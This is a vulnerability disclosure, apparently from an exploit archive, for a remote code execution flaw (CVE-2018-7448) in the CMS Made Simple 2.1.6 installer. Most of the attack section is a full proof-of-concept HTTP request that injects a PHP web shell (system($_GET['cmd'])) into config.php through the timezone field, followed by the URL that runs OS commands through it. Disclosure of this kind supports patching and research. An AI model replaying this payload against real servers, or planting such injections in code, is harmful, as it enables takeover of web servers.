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CMS Made Simple 2.1.6 Remote Code Execution

CMS Made Simple 2.1.6 Remote Code Execution
Posted Feb 26, 2018
Authored by Keerati T.

CMS Made Simple version 2.1.6 suffers from a remote code execution vulnerability during install time.

tags | exploit, remote, code execution
advisories | CVE-2018-7448
MD5 | 374dbe5800d06fa2269f4be2af82aedb

CMS Made Simple 2.1.6 Remote Code Execution

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# Exploit Title: CMS Made Simple 2.1.6 - Remote Code Execution
# Date: 2018-02-26
# Exploit Author: Keerati T.
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: http://s3.amazonaws.com/cmsms/downloads/13570/cmsms-2.1.6-install.zip
# Version: 2.1.6
# CVE: CVE-2018-7448
# Tested on: Linux

1.Description
Arbitrary PHP code can be injected into configuration file (config.php) after installation has been finished. In order to inject PHP code, fresh install and valid database credentials is required. Application will force an installer (usually "www-data" due to web-based installation) to set a write permission (777) to destination directory and related installation file. An attacker will proceed installation process until reach step 4 and inject malicious PHP code into "timezone" parameter. Once PHP code has been injected to "config.php", an attacker will be able to execute OS command by accessing backdoor "config.php" file along with injected parameter which contain OS command value.

2.Proof of Concept
- Access to "http://target/path/cmsms-2.1.6-install.php" for installing CMS Made Simple
- Proceed to step 4 of installation which is database setup stage, enter a valid database credentials and modifying "timezone" parameter on intercepted proxy as following:

==========
POST /cms/cmsms-2.1.6-install.php/index.php?mdf68c24c=4 HTTP/1.1
Host: 192.168.5.196
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.5.196/cms/cmsms-2.1.6-install.php/index.php?mdf68c24c=4
Cookie: CMSICc861538bbb=i549m59qpme0u9klupbkb68me4
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 126

dbhost=localhost&dbname=cms&dbuser=xvwa&dbpass=xvwa&timezone=junk';echo%20system($_GET['cmd']);$junk='junk&next=Next+%E2%86%92
==========

- Forward tampered "timezone" parameter packet and proceed to next step until successfully installation.
- Execute OS command via "config.php" by requesting "http://target/path/config.php?cmd=id;uname"

3.Timeline
2017-04-14 Vulnerability report
2017-04-15 Vendor inform that will be fixed on next full release
2017-06-10 Version 2.2 release and vulnerability fixed
2018-02-23 CVE assigned
2018-02-26 Public
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